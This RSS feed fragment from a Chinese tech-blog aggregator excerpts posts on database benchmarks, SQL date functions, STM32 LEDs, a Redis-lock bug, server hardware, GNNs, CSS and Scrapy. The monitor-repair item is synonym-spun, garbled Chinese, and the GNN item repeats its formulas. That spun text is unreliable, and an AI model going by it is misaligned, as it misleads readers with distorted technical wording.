      <description>【IT168 专稿】众所周知，微软在OLTP基准测试方面已经从TPC-C转向了全新的TPC-E。TPC-C包括5种存储过程调用(stored procedure calls)：新订单、付款、送货、订单状态和库存水平。其结果是用每分钟完成的交易次数来衡量的，即rate of New-Order calls。TPC-C平均每个新订单需要执行2.22次调用。&#xA;而全新的TPC-E数据类型更加丰富，由3类扩展为10类，模拟的交易条件更复杂。每一次交易都要对客户端的WEB页面作出响应，和现代的数据密集型应用相仿，也是由多个存储过程调用组成。对于TPC-E而言，平均每次交易有25.4次数据库存储过程调用。&#xA;这里我们比较HP ProLiant DL580 G5 和 IBM x3850分别参与TPC-C和TPC-E的结果。&#xA;HP ProLiant DL580 G5 配置4颗四核 Xeon X7350 2.93GHz 处理器，其TPC-C测试结果是407,079 tpm-C。这相当于每秒执行6785次交易，由于每次交易要做2.22次调用，也就是说每秒钟可执行15,062次 SQL Batches批处理，反过来说，每次调用大约需要消耗1毫秒的CPU资源(计算方法是Average CPU-sec / call = 处理器利用率*处理器数量/ SQL Batches/sec，这里处理器利用率是100%，由于是四路四核，所以处理器数量是16)。&#xA;IBM x3850同样是基于4颗四核 Xeon X7350处理器，其TPC-E的测试结果是479.51 tps-E(每秒完成交易次数)，相当于12,180 SQL Batches/sec(计算方法是479.51*25.4)，也就是说平均每次调用需要消耗1.2毫秒的CPU时间。&#xA;我之所以关注SQL Batches/sec 和每次调用CPU消耗时间(average CPU per call )这两个指标，是因为它们会影响到性能分析。对于一台满负荷运转的服务器来说，SQL Batches/sec值比较小的话，意味着每次调用都要消耗更多昂贵的CPU资源，这有可能是因为所执行的操作本身就比较消耗CPU资源，或者是CPU在指令编译过程中浪费了资源；而如果SQL Batches/sec值比较大的话，意味着在数据库查询/索引优化方面的空间不太大，关键是尽量去减少网络传输延迟。但受测试规则所限，网络调优不适合TPC基准测试。&#xA;TPC-C和TPC-E存有很大的差别。在TPC-C中，最常见的两种调用是新订单和付款。新订单大约有11行数据，可执行选择、更新和插入等操作，每个新订单包含10列字段。付款由3行更新和1次插入组成。TPC最重头的部分也就是对数据表的插入和更新。在TPC-C中，只有一次组合查询。而在TPC-E中，除了一般的操作外，还包含了多表连接查询，更加复杂。(本文编译自Joe Chang的博客：http://sqlblog.com/blogs/joe_chang/archive/2008/03/07/comments-on-tpc-e-and-tpc-c.aspx)</description>
    </item>
    <item>
      <title>sql获取服务器系统时间,sql怎么读取系统日期和时间</title>
      <link>https://bchobby.github.io/posts/3976d06ceb7f4d16e7da9b4fbf2d7ead/</link>
      <pubDate>Thu, 05 Aug 2021 00:50:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3976d06ceb7f4d16e7da9b4fbf2d7ead/</guid>
      <description>sql读取系统日期和时间的方法如下：&#xA;--获取当前日期(如：yyyymmdd)&#xA;select CONVERT (nvarchar(12),GETDATE(),112)&#xA;--获取当前日期(如：yyyymmdd hh:MM:ss)&#xA;select GETDATE()&#xA;--获取当前日期(如：yyyy-mm-dd)&#xA;Select Datename(year,GetDate())+&#39;-&#39;+Datename(month,GetDate())+&#39;-&#39;+Datename(day,GetDate())&#xA;--获取当前日期(如：yyyy/mm/dd)&#xA;select DATENAME(YEAR,GETDATE())+&#39;/&#39;+DATENAME(MONTH,GETDATE())+&#39;/&#39;+DATENAME(DAY,GETDATE())&#xA;--获取几种日期&#xA;select DATENAME(YEAR,GETDATE()) --年份(YYYY)&#xA;select DATENAME(YY,GETDATE())&#xA;select DATENAME(MM,GETDATE()) --月份&#xA;select DATENAME(DD,GETDATE()) --日期&#xA;select dateName(hh,getdate()) --获取小时&#xA;select DATENAME(MI,GETDATE()) --获取分钟&#xA;select DATENAME(SECOND,GETDATE()) --获取秒&#xA;select DATENAME(WEEK,GETDATE()) --获取当前星期(周)是这一年中的第几个星期(周)&#xA;select DATENAME(WEEKDAY,GETDATE()) --星期几&#xA;取消&#xA;评论</description>
    </item>
    <item>
      <title>基于STM32F103入门1——点亮LED灯</title>
      <link>https://bchobby.github.io/posts/71bdf7df68118a8f59222772c7c4236b/</link>
      <pubDate>Thu, 05 Aug 2021 00:49:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71bdf7df68118a8f59222772c7c4236b/</guid>
      <description>今天学习了STM32固件库点灯程序 点灯也可以玩过很多好玩的东西，在这里做一下总结。&#xA;STM32点灯程序合集 1：新建固件库工程文件1.1找到一个固件库模板1.2：打开KEIL5新建工程1.3：添加相关文件1.4：手动添加其他文件路径进来 2：STM32固件库点灯2.1: 方式1点灯main.c 2.2 :方式2点灯main.c 2.3 :方式3点灯main.c 点灯效果3：STM32闪烁灯delay.cmain.c 闪烁灯效果 4：STM32呼吸灯main.c 呼吸灯效果 5：STM32按键点灯key.cmain.c 按键点灯效果 6：STM32震动感应灯需要材料：6.1：震动传感器2.继电器灯 代码shake.crelay.cmain.c 如何接线项目效果 1：新建固件库工程文件 1.1找到一个固件库模板 1.2：打开KEIL5新建工程 最终效果：&#xA;1.3：添加相关文件 然后我们针对不同文件夹 我们添加不同的文件进来。&#xA;双击STARTUP 添加我们固件库的启动文件&#xA;STARTUP:添加Libraries——&amp;gt;CMSIS——&amp;gt;startup中的启动文件&#xA;USER：添加固件库的User文件夹中的.c文件&#xA;CMSIS 添加Libraries——&amp;gt;CMSIS文件夹中的.c文件&#xA;DOC:添加固件库中Doc文件夹的readme.txt&#xA;FWLIB:添加Libraries——&amp;gt;STM32F10x_StdPeriph_Driver文件夹中的.c文件&#xA;添加完效果&#xA;1.4：手动添加其他文件路径进来 打开stm32f0x.h文件&#xA;按 Ctrl + F 查找 stm32f10x_conf&#xA;会调到一下的代码 我们得宏定义加载一下&#xA;添加其他文件夹.h路径&#xA;这样就是新建固件库工程文件完成了。。。。。&#xA;下面就开始点灯 点灯 点灯&#xA;下面就开始点灯 点灯 点灯&#xA;下面就开始点灯 点灯 点灯&#xA;2：STM32固件库点灯 首先你得有个固件库手册来参考 我这里直接上代码。&#xA;我这个用的STM32C8T6板子 PC13是LED灯 根据原理图 给个低电平则点亮&#xA;LED配置代码&#xA;led.c&#xA;#include &#34;stm32f10x.h&#34; #include &#34;led.h&#34; void LED_Init(void) {&#x9;//1.</description>
    </item>
    <item>
      <title>Java开发面试基础，“并发</title>
      <link>https://bchobby.github.io/posts/0ff943de068441296cb2dc4159bae007/</link>
      <pubDate>Wed, 04 Aug 2021 18:05:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ff943de068441296cb2dc4159bae007/</guid>
      <description>测试时发现每次都是给用户返还了两次积分(相当于花100送200了,这哪了得…)，刚开始看上面的代码看了好久没有发现问题，加上log后查询服务器日志发现失败订单几乎在同一时间会收到两条回调信息，&#xA;(勉强算作一个高并发吧)，两个请求都拿到了锁且shoppingOrder的getStatus()都是一样的，感觉到问题了出现重复读了…&#xA;解决过程 两个请求都拿到了锁证明第一个回调请求已经执行完毕了，按道理应该将订单状态更新成4了第二个请求查询到的也应该是4，但是还是出现同样的值说明第二个请求查询时第一个没有提交事务。&#xA;这样明确出两个排查方向 重复读(mysql MVCC原理)、事务提交(spring 事务机制)。&#xA;mysql MVCC原理 mysql默认事务隔离级别是 RR（Repeatable Read，可重复读)，事务A在读到一条数据之后，此时事务B对该数据进行了修改并提交，那么事务A再读该数据，读到的还是原来的内容。&#xA;MVCC的实现，是通过保存数据在某个时间点的快照来实现的。也就是说，不管需要执行多长时间，每个事务看到的数据是一致的。根据事务开始的时间不同，每个事物对同一张表，同一时刻看到的数据可能是不一样的。&#xA;由此可以确定第二个请求执行查询时第一个请求事务没有提交，两者的事务版本号是一样的所以查询的值是一样的，因此问题不在数据库了！&#xA;小知识：&#xA;第一个SELECT执行的时候，当前事务取到了系统版本号n(并不是begin的时候就生成版本号，而是执行事务内第一个语句时生成)，系统版本号自增为n+1。此后，其他事务的更新操作能取到的系统版本号最小为n+1，所以当前事务再次SELECT将看不见它们的更新。&#xA;spring 事务机制 Spring 事务管理分为编程式和声明式两种。编程式事务指的是通过编码方式实现事务；声明式事务基于 AOP，将具体的逻辑与事务处理解耦。&#xA;声明式事务管理使业务代码逻辑不受污染，因此实际使用中声明式事务用的比较多。&#xA;小知识:&#xA;1、默认配置下 Spring 只会回滚运行时、未检查异常（继承自 RuntimeException 的异常）或者 Error。&#xA;2、@Transactional 注解只能应用到 public 方法才有效。&#xA;很明显我这边也是采用声明式事务，Aop自动提交事务是在dealOrderExchangeNotice代码块中的方法执行完毕后才执行事务提交工作&#xA;ps:在群里面讨论时有一个群友说事务提交是在finally执行之前，这个观点是错误的&#xA;因为这个还在一个群里面被人喷了讨论的话题老旧&#xA;我画了一个执行图很清晰的说明了问题所在(不懂千万不要空想动手画一画可能马上明白了)&#xA;最后把上面的加锁代码转到controller层后重试没有出现多返积分的问题了&#xA;Controller: public void dealOrderExchangeNotice(....){ RedisLock lock = null; try{ lock=new RedisLock(bizId); if (lock.lock()) { S.dealOrderExchangeNotice(....); }finally { if (lock != null) { lock.unlock(); } }&#x9;} ServiceImpl: @Transactional public void dealOrderExchangeNotice(.</description>
    </item>
    <item>
      <title>服务器连接电脑显示屏花屏怎么解决,电脑无辜花屏怎么办 电脑花屏原因以及解决办法...</title>
      <link>https://bchobby.github.io/posts/fa032e4a81b331eda4e99f6e16483d08/</link>
      <pubDate>Wed, 04 Aug 2021 17:40:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa032e4a81b331eda4e99f6e16483d08/</guid>
      <description>花屏缺点表象：兄弟运用的是华硕V1326，选用SiS6326芯片。刚开机时作业正常，工作时辰稍长后便有花屏表象发生。&#xA;缺点分析处置：通常情况下，发生这种缺点表象可以有如下几点缘由：显存内部物理损坏;BIOS有疑问;进行了超频;PCB板与元件接触不良。有了以上思路后，就可以着手进行缺点检查了。&#xA;首要进行显存的检查，细心查询、检测四块显存芯片及外围元件，没有发现虚焊和损坏特征(如爆裂、变色、脱焊、短路等);再将BIOS改写为正常的公版BIOS，然后装好进行检验，待到缺点发生时，用手触摸上的各个首要芯片，并没有发现芯片温度升高的表象。这样就打扫了BIOS有疑问和显存损坏的可以性。PCB板上没有任何关于超频的跳线，经检查发现没有超频表象，打扫了超频构成缺点的可以性。&#xA;看来有可以是PCB板与某个元器件接触不良了。对可以发生许多热量的元件进行查询和测量，在检测到主芯片SiS6326时，发现芯片左下脚(正对芯片)有两根针脚与PCB板接触不良，悄然地掰了一下PCB板，听到纤细的“啪”一动态，再查询SiS6326芯片，发现此方位又有9根针脚与PCB板脱焊，一共有11根，其它的针脚焊接正常，这大约便是发生缺点的缘由了!&#xA;知道了缺点缘由，处置起来就简略得多了。用一把接地出色的尖头25W内热电烙铁，带上手指接地环后进行补焊。先用松香和酒精溶液悄然涂抹脱焊针脚和PCB板，然后将脱焊针脚焊好，将装回电脑检验，长时辰工作无花屏表象发生，缺点打扫!</description>
    </item>
    <item>
      <title>用友nc系统无法连接到服务器,用友U8其他登陆时提示“系统错误无法连接服务器”...</title>
      <link>https://bchobby.github.io/posts/2d654341b1e58c771fd30dd18d5388bb/</link>
      <pubDate>Wed, 04 Aug 2021 14:59:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d654341b1e58c771fd30dd18d5388bb/</guid>
      <description>您好，我用的WIN764位系统，装的T3标准版，每次下班后会拔掉加密狗，前两天打开T3老是显示这个，我重新注册，IE什么的都设置的没问题，但是总说我没有安装加密狗驱动，换了台电脑重新注册了，但是还是老显示这个界面，怎么解决？ 您好，我用的WIN764位系统，装的T3标准版，每次下班后会拔掉加密狗，前两天打开T3老是显示这个，我重新注册，IE什么的都设置的没问题，但是总说我没有安装加密狗驱动，换了台电脑重新注册了，但是还是老显示这个界面，怎么解决？&#xA;你好在c盘搜索下加密狗号.cjt文件@畅捷服务_郝瑞然_:这个文件是在的@校强:您好！搜索C盘下是否有*.cjt文件，如果没有说明没有注册成功，注册加密狗要求使用IE8-IE10的32位浏览器，重新设置IE浏览器；具体可以参考服务社区-知识库中的文档http://service.chanjet.com/zhi ... 74a46；重新注册请严格按照上面的操作；如果有cjt文件，32位系统查看cjt文件是否在system32文件夹中，如果不在请拷贝到对应文件夹中；如果是64位系统，查看cjt文件是否在syswow64文件夹中，如果不在，拷贝到syswow64文件夹中，然后再看是否正常除常规因素排查外，还需确认下用户的主机是否为双系统，双系统安装软件注册后可能会出现CJT授权文件不在软件所安装的系统中，故出现了LICENSE问题。请直接把CJT文件移至软件所安装系统中的system32/syswow64文件夹下面即可。如果无效，请把软件卸载后再重新安装，并确认登录到软件安装的当前系统中去注册生成CJT文件。@畅捷服务_郝瑞然_:有cjt这个文件，而且在syswow64这个文件夹里面的。可是还是不正常。求解。@校强: T3软件是哪一个版本的，另外有没有重装过T3软件。win7 64位操作系统是哪一个win7版本的。@畅捷服务_郝瑞然_:t3标准版10.1plus2@畅捷服务_郝瑞然_:旗舰版的，没有装过T3软件@校强: 注册加密狗要求使用IE8-IE10的32位浏览器，重新设置IE浏览器；具体可以参考服务社区-知识库中的文档http://service.chanjet.com/zhi ... 74a46；重新注册请严格按照上面的操作；如果有cjt文件，32位系统查看cjt文件是否在system32文件夹中，如果不在请拷贝到对应文件夹中；如果是64位系统，查看cjt文件是否在syswow64文件夹中，如果不在，拷贝到syswow64文件夹中，然后再看是否正常</description>
    </item>
    <item>
      <title>微信socket服务器配置,微信小程序socket合法域名配置指南</title>
      <link>https://bchobby.github.io/posts/17a803e3d3567234a31626e2a31f5cae/</link>
      <pubDate>Wed, 04 Aug 2021 14:59:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17a803e3d3567234a31626e2a31f5cae/</guid>
      <description>微信小程序WebSocket接口和HTML5的WebSocket基本一样，是HTTP协议升级来的，做为一个新的Socket在B/S上使用，它实现了浏览器与服务器全双工通信。&#xA;不过很多开发者在配置微信小程序socket合法域名是总是会遇到些问题，今天小编就为大家总结下微信小程序socket合法域名配置的详细步骤和注意事项，希望能帮到大家。&#xA;设置域名&#xA;登录微信公众号后台小程序中&#xA;设置→开发设置→服务器设置&#xA;必须设置域名，微信小程序才能进行网络通讯，不然会报错&#xA;如果设置好了合法域名，开发工具还提示不在合法域名列表中，因为在微信会有一段时间的缓存，等一会可能就好了。&#xA;还要在开发工具中刷新一下，直到有数据显示那就应该是没问题了。&#xA;微信开发者工具→项目→配置信息&#xA;如果没有设置合法域名，在开发阶段是可以不设置合法域名的&#xA;微信开发者工具→项目→基础信息&#xA;在微信小程序中使用GoEasy:&#xA;目前GoEasy支持在微信小程序中集成使用，那么在微信小程序中使用GoEasy应该怎么配置GoEasy的合法socket域名呢？&#xA;步骤如下：&#xA;进入 微信公众平台|小程序 -&amp;gt; 设置 -&amp;gt; 开发设置 -&amp;gt; 服务器域名 选项的 socket合法域名项。&#xA;添加 goeasy的地址： wx-hangzhou.goeasy.io&#xA;具体的在微信小程序中使用GoEasy的教程可以看这里： 小程序Websocket消息推送和接收 – GoEasy文档</description>
    </item>
    <item>
      <title>数据服务器性能测算依据,如何对服务器性能计算的公式参考(tpmc-tpcc).pdf</title>
      <link>https://bchobby.github.io/posts/8ff11120214bdc55d600f7aa8095b1a4/</link>
      <pubDate>Wed, 04 Aug 2021 14:36:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ff11120214bdc55d600f7aa8095b1a4/</guid>
      <description>1. 一技术建议书&#xA;1.1. 系统部署结构及软硬件配置&#xA;1.1.1.设备部署方案&#xA;常见的集团式部署方案有三种：&#xA; 集中式部署：目录数据与原文均集中在总部服务器中；&#xA; 分布式部署：目录数据与原文数据均分散在各个二级单位中存储，再由一套分布式全文检索系&#xA;统将全集团数据提供统一门户、统一权限的检索；&#xA; 混合式部署：目录数据集中存储在总部服务器中，电子文件存放在各个二级单位服务器中；&#xA;XXXX 根据本次项目需求与特点推举以纯 B/S 软件平台构成的集中式部署方案。&#xA;各种方案优点对比：&#xA;对比项目 集中部署方案 分布式部署方案 混合部署方案&#xA;极高， 较低&#xA;极低&#xA;大量的数据需要在企业 二级单位在进行数据管&#xA;各二级单位的数据均存&#xA;的广域网中传输，有可 理与检索时，需要通过&#xA;对广域网网络带宽要求 储在单位内部，大量的&#xA;能影响其他的系统运行， 广域网进行；但是查询&#xA;查询过程并不经过广域&#xA;甚至导致大文件的传输 电子文件则无需经过广&#xA;网，&#xA;失败 域网，带宽要求不高&#xA;较高&#xA;极低&#xA;由于目录数据全部集中&#xA;极高 如果出现网络不稳定的&#xA;存储在总部，如果出现&#xA;对广域网的稳定性要求 稍有不稳定的情况时， 情况，也仅仅是影响跨&#xA;网络连接不稳定时，全&#xA;会导致所有 单位的档案检索，此部&#xA;集团的管理系统都无法&#xA;分影响不会太大&#xA;使用&#xA;一般&#xA;极低 需对统一检索平台进行 极低&#xA;易维护性 仅需对总部服务进行维 维护，统一检索平台与 仅需要对总部软件平台&#xA;护即可 二级单位之间有接口， 进行维护即可</description>
    </item>
    <item>
      <title>边缘计算服务器项目,我是浪潮第一款边缘计算服务器 我是NE5260M5</title>
      <link>https://bchobby.github.io/posts/334de72b5143f6d385270ddd83169538/</link>
      <pubDate>Wed, 04 Aug 2021 13:34:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/334de72b5143f6d385270ddd83169538/</guid>
      <description>原标题：我是浪潮第一款边缘计算服务器 我是NE5260M5&#xA;在刚刚结束的世界移动通信大会(MWC2019)上，浪潮展出了一款边缘计算服务器新品NE5260M5，这款服务器符合ODCC的OTII标准，适合于边缘数据中心部署，可承担NFVI、视频、AI、CDN等各类网络边缘应用。&#xA;5G与边缘计算相伴相生&#xA;人类已经一只脚踏进了5G时代，5G时代也将是边缘计算的时代。边缘计算是在网络边缘提供IT服务环境和云计算能力，以减少网络操作和服务交付的时延。根据国际电信联盟ITU的定义，5G的三大场景与边缘计算密切相关，其中eMBB对高带宽的要求、URLLC对超高可靠超低时延通信的要求和MIoT对大连接的要求，都需要引入边缘计算。&#xA;如果说3G、4G是云计算的时代，那么5G就是边缘计算时代，因为5G通信网络更加去中心化，需要在网络边缘部署小规模或者便携式数据中心，进行终端请求的本地化处理，以满足URLLC和MIoT的超低延时需求。5G的三大应用场景和小于1ms的延时指标，决定了大量的5G业务不是由核心网后端的云平台来处理，而是由处于网络边缘的本地数据中心来处理。&#xA;因而，伴随着5G的发展，会出现大量的部署在网络边缘的小规模或者便携式数据中心，IDC数据显示，2020年将有超过50%的数据需要在网络边缘侧分析、处理与存储，边缘计算市场规模将超万亿。&#xA;边缘电信云需要专属服务器&#xA;为了满足电信业务的发展，通信运营商不断探索电信云的架构和部署实现。电信云主要服务于虚拟化电信网元，电信网元既有控制面也有用户面，控制面网元适合进行集中化部署，而用户面网元则需要向用户侧下沉，从而提升用户体验。&#xA;电信云需要包含核心云和边缘云，核心云主要覆盖集中部署的数据中心和通信机房，而边缘云则主要部署在区县或者街道，下沉的更接近用户的位置，充分利用边缘计算力，发挥资源共享优势，大幅节约业务上云的带宽，获得更好的业务实时性。&#xA;移动运营商的边缘计算部署在运营商网络的接入点，这些节点是用户业务接入运营商网络的第一个节点，大多没有机房环境，通用的服务器难以满足。而业务的现实需求，又对边缘计算节点提出了比通用服务器更高的要求，边缘计算节点需要为用户实时处理数据，实现业务的灵活接入，同时还要承担人工智能、图像识别和视频渲染等新业务，满足5G时代丰富的业务需求，提供极致用户体验，这就要求边缘计算服务器的性能、扩展性、协处理能力更加强劲。&#xA;专为边缘设计的服务器&#xA;浪潮最新推出的NE5260M5就是专为5G时代的各类边缘计算应用所设计，高度为2U，宽19英寸，深度为430mm，仅有传统标准服务器深度的1/2稍多。这款产品不因为空间小而牺牲配置性能，采用即将上市的英特尔最新的高可扩展处理器，可配置2颗处理器，16个内存插槽，其中2个支持AEP内存，主板集成2个10G SFP网卡，6个PCIe-3.0接口。存储方面，可支持6块HDD/SSD，以及2块2.5寸M2接口的SSD。浪潮服务器产品部副总经理陈彦灵表示，体积小和性能强是浪潮在设计边缘计算服务器时所追求的两个方向。&#xA;这款产品很好的融合了服务器技术标准和电信设备标准，可以直接与电信设备混合部署在电信中心机架上，陈彦灵谈到，浪潮在设计NE5260M5时，针对边缘数据中心极端的部署环境和所承载的业务应用，在不同层面采用了大量的优化技术。&#xA;浪潮边缘计算服务器新品NE5260M5&#xA;耐受简陋的物理环境&#xA;服务器都部署在标准数据中心环境，产品设计更多考虑性能、可靠性、密度、能耗等技术指标，而边缘服务器的部署环境十分简陋，甚至直接悬挂在信号塔上，温度、湿度都不可控，首先NE5260M5采用了壁挂设计wall Mount，不仅可以部署在机架上，也可以直接悬挂在墙壁上，对于部署环境可以因陋就简。&#xA;另外，NE5260M5在耐高温、防尘、耐腐蚀、电磁兼容、抗震等方面进行了大量针对性设计，可以耐受边缘数据中心的恶劣物理环境，能够长时间耐受40度环境温度、85%相对湿度。同时，这款产品也具有领先的失效部件容忍能力，散热采用了“3+1”冗余智能风扇，任意一个风扇发生故障，都不影响系统运行，在一定温度条件下，可以同时容忍两个风扇出现错误。&#xA;优化，更高性能&#xA;当前，边缘计算仍然是刚刚起步，随着时间的发展，边缘计算的负载会越来越大，也越来越复杂，现在电信网络承载更多是电话、即时通信等，5G时代更多是低延迟视频通话、人工智能、自动驾驶、VR等应用，需要越来越强大的计算能力，需要GPU、FPGA等异构技术的支持。&#xA;NE5260M5不仅可以支持2颗即将上市的英特尔最新的高可扩展处理器，还可以支持2块GPU加速卡，让边缘数据中心具备很强的神经网络训练和推理能力，从而实现5G网络边缘的人工智能。据了解，在5G网络中，借助于边缘计算，把部分计算任务从云端卸载到边缘之后，整个系统对能源的消耗减少了30%-40%，延时也大大降低，人脸识别系统的响应时间可以由900ms减少为不足200ms。&#xA;这款产品的性能来自扩展性，也来自浪潮在芯片、整机等不同层面的细致优化。浪潮在NE5260M5中采用独特的NUMA-Balance优化架构。一般服务器采用的是NUMA架构，PCI-e更多的集中在一颗处理器上，当负载I/O吞吐较大的应用时，就会造成两颗处理器负载的不均衡，限制了性能的发挥，NE5260M5的内存、PCI-e等外部资源在两颗处理器间平均分配，PCI-e的负载会在两颗处理器之间自动负载均衡，测试数据显示，NE5260M5在NFVI、视频场景实验中，性能比没有采用NUMA-Balanced架构的服务器提升20%以上。&#xA;浪潮第一款OTII服务器&#xA;推动ICT标准化进程&#xA;5G推动了边缘计算的发展，更推动了ICT的融合，边缘计算仅是是ICT融合的一个方面而已。5G的网络差异性、连接密度等远远超过4G，为了满足差异化、个性化的业务需求，5G整个网络架构必须向IT化、互联网化转变。中国移动已经发布技术白皮书，表示将以三层解耦为目标架构，构建一张资源可全局调度、架构可灵活调整容量可弹性伸缩、能力可全面开放的新型网络。新兴网络的建设过程，就是包括边缘计算在内的ICT融合过程。但是，在实际应用中，标准服务器硬件的兼容性还有问题，管理接口不一致，不能满足边缘计算的应用需求。&#xA;因此，2017年11月，ODCC发起了OTII(OpenTelcom IT Infrastructure)服务器开放项目，计划形成运营商行业面向电信应用的深度定制、开放标准、统一规范的服务器技术方案及原型产品，成员包括中国移动、中国电信、中国联通、中国信通院、浪潮和Intel等。项目组已经形成了一个技术标准草案，NE5260M5就是该草案的具体应用，技术草案的可行性以及具体改进措施将在这款产品上得到检验。&#xA;边缘计算的发展进程是IT和CT两个产业的融合过程。ICT的融合几乎不存在基本技术问题，阻碍实际应用的都是方案层面和标准层面的问题，解决这些问题只能依靠两个产业的融合和标准的统一，所以OTII将在未来边缘计算的发展过程中扮演重要角色。陈彦灵最后表示，浪潮会一直积极的参与OTII项目，促进标准的形成和演进，并且还会根据客户的实际应用不断改进现有的边缘计算产品，开发新的解决方案，保持产品线的不断进化，满足用户的新需求。返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>如何查看自己网站的服务器,如何查看自己的服务器上网站的日记?</title>
      <link>https://bchobby.github.io/posts/9041c07e9b948de6ead6601327c5cf93/</link>
      <pubDate>Wed, 04 Aug 2021 13:07:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9041c07e9b948de6ead6601327c5cf93/</guid>
      <description>网站日志一般存放在虚拟主机的logfiles文件夹下，可以通过FTP工具将网站日志下载下来，下载下来的为log格式的文档，可通过txt文档方式查看。&#xA;如何查看自己的服务器的日记? (以Windows 2003系统为例)&#xA;1、开始--管理工具--事件查看器--系统 或者 控制面板--管理工具--事件查看器--系统。&#xA;2、在远程客户端，运行IE浏览器，在地址栏中输入“https://Win2003服务器IP地址:8098”，如“https://192.168.1.1:8098”。在弹出的登录对话框中输入管理员的用户名和密码，点击“确定”按钮即可登录Web访问接口管理界面。接着在“欢迎使用”界面中点击“维护”链接，切换到“维护”管理页面，然后点击“日志”链接，进入到日志管理页面。在日志管理页面中，管理员可以查看、下载或清除Windows 2003服务器日志。选择系统日志可进行查看。并且在日志管理页面中可列出Windows 2003服务器。</description>
    </item>
    <item>
      <title>深入浅出图神经网络|GNN原理解析☄学习笔记（五）图信号处理与图卷积神经网络</title>
      <link>https://bchobby.github.io/posts/754f502218323e00325d415860a1dc5e/</link>
      <pubDate>Wed, 04 Aug 2021 11:44:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/754f502218323e00325d415860a1dc5e/</guid>
      <description>深入浅出图神经网络|GNN原理解析☄学习笔记（五）图信号处理与图卷积神经网络 文章目录 深入浅出图神经网络|GNN原理解析☄学习笔记（五）图信号处理与图卷积神经网络矩阵乘法的三种形式图信号与图的拉普拉斯矩阵图傅里叶变换图滤波器空域角度频域角度 图卷积神经网络1.对频率响应矩阵进行参数化2.对多项式系数进行参数化3.设计固定的图滤波器 GCN实战GCN层定义两层GCN模型模型训练与测试 图信号处理（ Graph Signal Processing, GSP）是 离散信号处理（ Discrete Signal Processing， DSP）理论在图信号领域的应用，其通过对傅里叶变换、滤波等信号处理基本概念的迁移，来研究对图信号的压缩、变换、重构等信号处理的基础任务。 图信号处理与图卷积模型密不可分：一方面，理解图信号处理对于了解图卷积模型的定义和演变有十分重要的帮助；一方面，图信号处理也为卷积模型的理论研究提供了十分实用的工具。&#xA;矩阵乘法的三种形式 设两个矩阵 A ∈ R K × M A∈R^{K×M} A∈RK×M， B ∈ R M × P B∈R^{M×P} B∈RM×P，对于 C = A B C=AB C=AB，有如下三种计算方式：&#xA;内积视角：将A视作一个行向量矩阵，将B视作一个列向量矩阵，则：&#xA;C i j = A i , ; B : , j C_{ij}=A_{i,;}B_{:,j} Cij​=Ai,;​B:,j​&#xA;行向量视角：将B视作一个行向量矩阵，将A视作系数矩阵，则：&#xA;C i , : = ∑ m M A i m B m , : C_{i,:}=\sum_m^MA_{im}B_{m,:} Ci,:​=m∑M​Aim​Bm,:​</description>
    </item>
    <item>
      <title>查询进度css,CSS进度圈</title>
      <link>https://bchobby.github.io/posts/ca65ebe6bfbc748d31d65ae94d639ff5/</link>
      <pubDate>Wed, 04 Aug 2021 10:36:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca65ebe6bfbc748d31d65ae94d639ff5/</guid>
      <description>I created a fiddle using only CSS.&#xA;.wrapper {&#xA;width: 100px; /* Set the size of the progress bar */&#xA;height: 100px;&#xA;position: absolute; /* Enable clipping */&#xA;clip: rect(0px, 100px, 100px, 50px); /* Hide half of the progress bar */&#xA;}&#xA;/* Set the sizes of the elements that make up the progress bar */&#xA;.circle {&#xA;width: 80px;&#xA;height: 80px;&#xA;border: 10px solid green;&#xA;border-radius: 50px;&#xA;position: absolute;</description>
    </item>
    <item>
      <title>css中的xpath,xpath ,css</title>
      <link>https://bchobby.github.io/posts/79bccc1ffd152071a08697022676647c/</link>
      <pubDate>Wed, 04 Aug 2021 10:16:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79bccc1ffd152071a08697022676647c/</guid>
      <description>https://docs.scrapy.org/en/latest/intro/tutorial.html&#xA;xpath @选择属性 .当前目录下选择 //任意路径选择&#xA;/bookstore/book[position()&amp;lt;3]，选取最前面的两个属于 bookstore 元素的子元素的 book 元素&#xA;css span.text::text&#xA;response.css(&#34;span.text&#34;).text().get() /// AttributeError: &#39;SelectorList&#39; object has no attribute &#39;text&#39;&#xA;quote.css(&#34;span.text::text&#34;).get() 选择span下面text的text()标签内容&#xA;scrapy crawl quotes -o quotes.json&#xA;That will generate an quotes.json file containing all scraped items, serialized in JSON.&#xA;For historic reasons, Scrapy appends to a given file instead of overwriting its contents. If you run this command twice without removing the file before the second time, you’ll end up with a broken JSON file.</description>
    </item>
    <item>
      <title>服务器虚拟化的应用场景,FusionSphere解决方案之服务器虚拟化场景</title>
      <link>https://bchobby.github.io/posts/b934040d56b32fb87ee4820e19c49965/</link>
      <pubDate>Wed, 04 Aug 2021 06:48:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b934040d56b32fb87ee4820e19c49965/</guid>
